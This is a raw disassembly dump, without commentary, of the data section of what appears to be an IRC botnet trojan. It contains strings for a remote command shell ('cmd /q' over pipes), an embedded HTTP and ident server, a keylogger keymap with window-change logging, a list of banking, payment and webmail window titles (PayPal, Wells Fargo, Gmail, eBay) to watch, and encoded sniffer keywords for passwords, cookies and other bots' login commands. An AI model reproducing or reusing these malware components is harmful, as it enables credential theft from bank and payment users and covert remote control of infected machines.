aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40FF31+98o
					; sub_41AF8F+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40FF31+5Fo
		align 4
unk_434C14	db  2Dh	; -		; DATA XREF: sub_4100B4+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C4C	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_434C80:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_1		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 10h
aS_0		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435128	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_410BFD+171o
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_410BFD+116o
dword_43516C	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: sub_410BFD+BBo
aClientConnecti	db '- client connection from %s:%d.',0
unk_435198	db  2Dh	; -		; DATA XREF: sub_410DAB+15Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351D4	db  2Dh	; -		; DATA XREF: sub_410DAB+E9o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43521C	db  2Dh	; -		; DATA XREF: sub_410F3C+1AAo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_43525C	db  2Dh	; -		; DATA XREF: sub_410F3C+E1o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_4352A0	db  2Dh	; -		; DATA XREF: sub_4111C0+1E9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352CC	db  2Dh	; -		; DATA XREF: sub_4111C0+1C2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_4352F8	db  2Dh	; -		; DATA XREF: sub_4111C0+1A2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_4111C0+172o
		align 4
unk_435334	db  2Dh	; -		; DATA XREF: sub_4111C0+E1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_435360	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
unk_43538C	db  2Dh	; -		; DATA XREF: sub_41141F+1Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aLoginRejectedR	db '- Login rejected, Remote user: <%s@%s>.',0
		align 4
unk_4353C4	db  2Dh	; -		; DATA XREF: sub_41144E+219o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorServerFai	db '- Error: server failed, returned: <%d>.',0
		align 4
unk_4353FC	db  2Dh	; -		; DATA XREF: sub_41144E+1FBo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 4
unk_435438	db  2Dh	; -		; DATA XREF: sub_41144E+177o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
unk_43547C	db  2Dh	; -		; DATA XREF: sub_41144E+106o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aReadyAndWaitin	db '- Ready and waiting for incoming connections.',0
		align 4
unk_4354B8	db  2Dh	; -		; DATA XREF: sub_41144E+70o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToInstal	db '- Failed to install control-C handler, error: <%d>.',0
		align 4
unk_4354FC	db  2Dh	; -		; DATA XREF: sub_41144E+3Do
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_435528	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_43555C	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_4355A4	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355CC	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43560C	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_43564C	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
unk_43568C	db  2Dh	; -		; DATA XREF: sub_4119F9+A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aSessionreadshe	db '- SessionReadShellThread exited, error: <%ld>.',0
dword_4356C8	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411BCE+1B2o
aFailedToSta_38	db '- Failed to start server on Port %d.',0
		align 4
dword_4356FC	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411BCE+18Fo
aFailedToSta_39	db '- Failed to start client thread, error: <%d>.',0
		align 4
dword_435738	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411BCE+114o
aClientConnec_3	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_43577C	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411DD3+1F9o
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 10h
dword_4357C0	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411DD3+18Ao
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 10h
dword_435800	dd 234032Dh, 6B636F73h,	3023473h ; DATA	XREF: sub_411DD3+F2o
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 10h
dword_435840	dd 4000500h, 7868746Bh,	2 dup(0) ; DATA	XREF: sub_412197+404o
dword_435850	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: sub_4125FC+13o
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 4
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 4
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 4
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 4
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 4
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 10h
		dd 4 dup(0)
dword_436450	dd 8			; DATA XREF: sub_4125FC+65o
dword_436454	dd 62h,	62000000h, 2 dup(0) ; DATA XREF: sub_4126A7:loc_412925o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_436B84	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4126A7+48Fo
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BBC	dd 28207325h, 297325h	; DATA XREF: sub_4125FC+31o
					; sub_41AF8F+EBo
a__S_l_ReturnS	db '.».%s.«. (Return) (%s)',0 ; DATA XREF: sub_4126A7+3FAo
		align 4
a__S_l_Return	db '.».%s.«. (Return)',0 ; DATA XREF: sub_4126A7+3D9o
		align 10h
a__S_l_Buffer_0	db '.».%s.«. (Buffer full) (%s)',0 ; DATA XREF: sub_4126A7+394o
a__S_l_BufferFu	db '.».%s.«. (Buffer full)',0 ; DATA XREF: sub_4126A7+382o
		align 4
a__S_l_ChangedW	db '.».%s.«. (Changed Windows: %s)',0 ; DATA XREF: sub_4126A7+17Bo
		align 4
a__S_l_		db '.».%s.«.',0         ; DATA XREF: sub_4126A7+B9o
					; sub_4126A7+145o ...
		align 10h
off_436C50	dd offset dword_4374C8	; DATA XREF: sub_412B61+2B9r
		dd offset off_4374C4
		dd offset aFtp		; "FTP"
		dd offset aHttp_0	; "HTTP"
dword_436C60	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_412B61+1DEo
dword_436C74	dd 0			; DATA XREF: sub_412B61+2B2r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: .packed:00436C5Co
		align 10h
aFtp		db 'FTP',0              ; DATA XREF: .packed:00436C58o
off_4374C4	dd offset aFailedToSta_36+1Dh ;	DATA XREF: .packed:00436C54o
dword_4374C8	dd 544F42h		; DATA XREF: .packed:off_436C50o
dword_4374CC	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+317o
aRecvFailedRetu	db '- recv() failed, returned %d',0
		align 4
dword_4374F8	dd 234032Dh, 696E7370h,	3026666h ; DATA	XREF: sub_412B61+2C6o
